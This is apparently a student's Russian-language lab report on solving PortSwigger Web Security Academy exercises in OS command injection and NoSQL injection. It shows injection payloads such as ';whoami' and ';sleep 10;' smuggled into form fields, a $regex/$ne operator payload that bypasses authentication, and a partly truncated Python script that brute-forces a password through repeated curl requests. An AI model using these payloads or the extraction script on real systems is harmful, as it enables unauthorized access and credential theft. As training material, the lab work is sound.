Отчет по решению OS injection

1. Lab: OS command injection, simple case

Пошарился по лабе со включенным burp proxy, нашел post /product/stock, заинджектил в пост запрос `productId=2&storeId=1;whoami`

2. Lab: Blind OS command injection with time delays

В форме feedback можно поинжектить в поле email

```
csrf=CvglT8HVqqhEjwmMgG9Z00uYphRnukWL&name=alaska&email=qwe%40ru.ru;sleep%2010;&subject=alaska&message=alaska
```

3. Lab: Blind OS command injection with output redirection

Инжект находится в том же месте, где раньше, вывод можно посмотреть по пути /image?filename=who.txt

Отчет по решению NoSQL

1. Lab: Detecting NoSQL injection

Инжект производится такой строкой

```
https://0a8b009a035541b580d0a832008f0051.web-security-academy.net/filter?category=Gi
```

2. Lab: Exploiting NoSQL operator injection to bypass authentication

```
{"username":{
"$regex": "admin.*"},"password":{
"$ne":""}
```

```
}
```

3. Lab: Exploiting NoSQL injection to extract data

Нашел ручку /user/lookup, написал переборный скрипт

```
import subprocess

for i in range(30):

    result = subprocess.check_output(f"curl \"https://0a29004103d5c93c81b761b5006100
                                     shell=True, stderr=subprocess.DEVNULL).deco
    resfind = result.find("Could not find user")
    if resfind == -1:
        pass_len=i


print(pass_len)
alphabet="abcdefghijklmnopqrstuvwxyz"
pass_us = ""
for i in range(pass_len):
    for j in alphabet:
        result = subprocess.check_output(f"curl \"https://0a29004103d5c93c81b761b500
                                         shell=True, stderr=subprocess.DEVNULL).deco

        resfind = result.find("Could not find user")
        if resfind == -1:
            pass_us+=j
            print(pass_us)
            continue
```